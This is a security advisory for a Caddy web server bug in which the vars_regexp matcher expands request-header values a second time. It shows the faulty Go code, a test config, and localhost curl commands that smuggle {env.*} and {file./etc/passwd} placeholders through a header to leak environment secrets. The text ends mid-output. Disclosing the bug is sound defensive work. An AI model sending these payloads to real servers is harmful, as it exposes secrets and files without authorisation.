GitHub Security Advisory: GHSA-m2w3-8f23-hxxf
Package: github.com/caddyserver/caddy/v2/modules/caddyhttp (GO)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: >= 2.7.5, <= 2.11.1
Patched in: 2.11.2

Summary: Caddy's vars_regexp double-expands user input, leaking env vars and files

Details:
### Summary

The `vars_regexp` matcher in `vars.go:337` double-expands user-controlled input through the Caddy replacer. When `vars_regexp` matches against a placeholder like `{http.request.header.X-Input}`, the header value gets resolved once (expected), then passed through `repl.ReplaceAll()` again (the bug). This means an attacker can put `{env.DATABASE_URL}` or `{file./etc/passwd}` in a request header and the server will evaluate it, leaking environment variables, file contents, and system info.

`header_regexp` does NOT do this — it passes header values straight to `Match()`. So this is a code-level inconsistency, not intended behavior.

### Details

The bug is at `modules/caddyhttp/vars.go`, line 337 in `MatchVarsRE.MatchWithError()`:

```go
valExpanded := repl.ReplaceAll(varStr, "")
if match := val.Match(valExpanded, repl); match {
```

When the key is a placeholder like `{http.request.header.X-Input}`, `repl.Get()` resolves it to the raw header value (first expansion, line 318). Then `repl.ReplaceAll()` runs on that value again (second expansion, line 337), which evaluates any `{env.*}`, `{file.*}`, `{system.*}` placeholders the user put in there.

For comparison, `header_regexp` (`matchers.go:1129`) and `path_regexp` (`matchers.go:703`) both pass values directly to `Match()` without this second expansion.

This `repl.ReplaceAll()` was added by PR #5408 to fix #5406 (vars_regexp not working with placeholder keys). The fix was needed for resolving the key, but it also re-expands the resolved value, which is the bug.


*Side-by-side proof that this is a code bug, not misconfiguration — same header, same regex, different behavior:**

Config with both matchers on the same server:
```json
{
  "admin": {"disabled": true},
  "apps": {
    "http": {
      "servers": {
        "srv0": {
          "listen": [":8080"],
          "routes": [
            {
              "match": [{"path": ["/header_regexp"], "header_regexp": {"X-Input": {"name": "hdr", "pattern": ".+"}}}],
              "handle": [{"handler": "static_response", "body": "header_regexp: {http.regexp.hdr.0}"}]
            },
            {
              "match": [{"path": ["/vars_regexp"], "vars_regexp": {"{http.request.header.X-Input}": {"name": "var", "pattern": ".+"}}}],
              "handle": [{"handler": "static_response", "body": "vars_regexp: {http.regexp.var.0}"}]
            }
          ]
        }
      }
    }
  }
}
```

```
$ export SECRET=supersecretvalue123

$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/header_regexp
header_regexp: {env.HOME}                           # literal string, safe

$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/vars_regexp
vars_regexp: /Users/test                           # expanded — env var leaked

$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/header_regexp
header_regexp: {env.SECRET}                         # literal string, safe

$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/vars_regexp
vars_regexp: supersec